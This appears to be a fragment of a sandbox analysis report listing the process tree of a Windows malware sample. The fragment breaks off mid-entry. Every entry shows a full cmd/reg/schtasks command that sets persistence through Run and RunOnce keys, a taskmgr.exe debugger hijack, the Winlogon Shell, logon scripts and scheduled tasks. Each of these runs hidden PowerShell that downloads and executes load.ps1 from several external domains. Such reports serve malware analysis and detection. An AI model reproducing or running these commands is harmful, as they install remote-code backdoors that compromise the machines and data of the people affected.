  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fomo444slot.co/load.ps1')\"" /f
  2⤵
  PID:6292
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fomo444slot.co/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:6776
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fomo444slot.co/load.ps1')\"" /f
  2⤵
  PID:7992
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fomo444slot.co/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:7916
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fomo444slot.co/load.ps1')\"" /f
  2⤵
  PID:7876
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fomo444slot.co/load.ps1')\"" /f
    3⤵
    - Modifies WinLogon for persistence
    PID:7856
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fomo444slot.co/load.ps1')\"" /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:8112
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fomo444slot.co/load.ps1')\"" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    PID:7936
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fomo444slot.co/load.ps1')\"" /sc onlogon /f
  2⤵
  PID:6224
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fomo444slot.co/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4812
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fomo444slot.co/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  - Executes a command shell one-liner
  PID:7804
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fomo444slot.co/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:8052
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88.cheap/load.ps1')\"" /f
  2⤵
  PID:8032
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88.cheap/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:8136
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88.cheap/load.ps1')\"" /f
  2⤵
  PID:3348
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88.cheap/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:7916
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88.cheap/load.ps1')\"" /f
  2⤵
  PID:7768
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88.cheap/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:5864
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88.cheap/load.ps1')\"" /f
  2⤵
  PID:4528
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88.cheap/load.ps1')\"" /f
    3⤵
    - Modifies WinLogon for persistence
    - System Location Discovery: System Language Discovery
    PID:7080
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88.cheap/load.ps1')\"" /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4764
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6468
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88.cheap/load.ps1')\"" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    PID:4684
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88.cheap/load.ps1')\"" /sc onlogon /f
  2⤵
  PID:6176
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6516
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88.cheap/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7504
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88.cheap/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:7720
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88.cheap/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6828
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbdoithuong.vip/load.ps1')\"" /f
  2⤵
  PID:6244
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbdoithuong.vip/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:6528
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbdoithuong.vip/load.ps1')\"" /f
  2⤵
  PID:8104
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6628
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbdoithuong.vip/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:7956
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbdoithuong.vip/load.ps1')\"" /f
  2⤵
  PID:8068
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6772
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbdoithuong.vip/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    - System Location Discovery: System Language Discovery
    PID:7924
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbdoithuong.vip/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:5708
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:8060
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbdoithuong.vip/load.ps1')\"" /f
    3⤵
    - Modifies WinLogon for persistence
    PID:4284
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbdoithuong.vip/load.ps1')\"" /f
  2⤵
  PID:6600
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbdoithuong.vip/load.ps1')\"" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    - System Location Discovery: System Language Discovery
    PID:2952
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbdoithuong.vip/load.ps1')\"" /sc onlogon /f
  2⤵
  PID:6904
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbdoithuong.vip/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6776
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbdoithuong.vip/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  - Executes a command shell one-liner
  PID:7916
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbdoithuong.vip/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4264
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbeta5.com/load.ps1')\"" /f
  2⤵
  PID:7452
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbeta5.com/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:7500
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbeta5.com/load.ps1')\"" /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:6576
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbeta5.com/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:2480
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbeta5.com/load.ps1')\"" /f
  2⤵
  PID:2584
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbeta5.com/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:7704
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbeta5.com/load.ps1')\"" /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:6776
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbeta5.com/load.ps1')\"" /f
    3⤵
    - Modifies WinLogon for persistence
    PID:6048
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbeta5.com/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:7748
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbeta5.com/load.ps1')\"" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    PID:5688
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbeta5.com/load.ps1')\"" /sc onlogon /f
  2⤵
  PID:5520
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbeta5.com/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7932
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbeta5.com/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  PID:6280
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbeta5.com/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1248
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbdoithuong.vip/load.ps1')\"" /f
  2⤵
  PID:1220
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbdoithuong.vip/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:6816
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbdoithuong.vip/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:6972
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3768
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbdoithuong.vip/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:7344
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbdoithuong.vip/load.ps1')\"" /f
  2⤵
  PID:6788
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbdoithuong.vip/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:132
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbdoithuong.vip/load.ps1')\"" /f
  2⤵
  PID:4680
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbdoithuong.vip/load.ps1')\"" /f
    3⤵
    - Modifies WinLogon for persistence
    PID:2480
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbdoithuong.vip/load.ps1')\"" /f
  2⤵
  PID:6432
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbdoithuong.vip/load.ps1')\"" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    PID:7460
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbdoithuong.vip/load.ps1')\"" /sc onlogon /f
  2⤵
  PID:6784
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbdoithuong.vip/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7484
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbdoithuong.vip/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  PID:2800
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbdoithuong.vip/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5652
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbetmb.com/load.ps1')\"" /f
  2⤵
  PID:7924
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbetmb.com/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:7624
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbetmb.com/load.ps1')\"" /f
  2⤵
  PID:7332
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbetmb.com/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:3848
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbetmb.com/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:8128
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbetmb.com/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:6324
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbetmb.com/load.ps1')\"" /f
  2⤵
  PID:7176
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6208
- - C:\Windows\SysWOW64\reg.exe
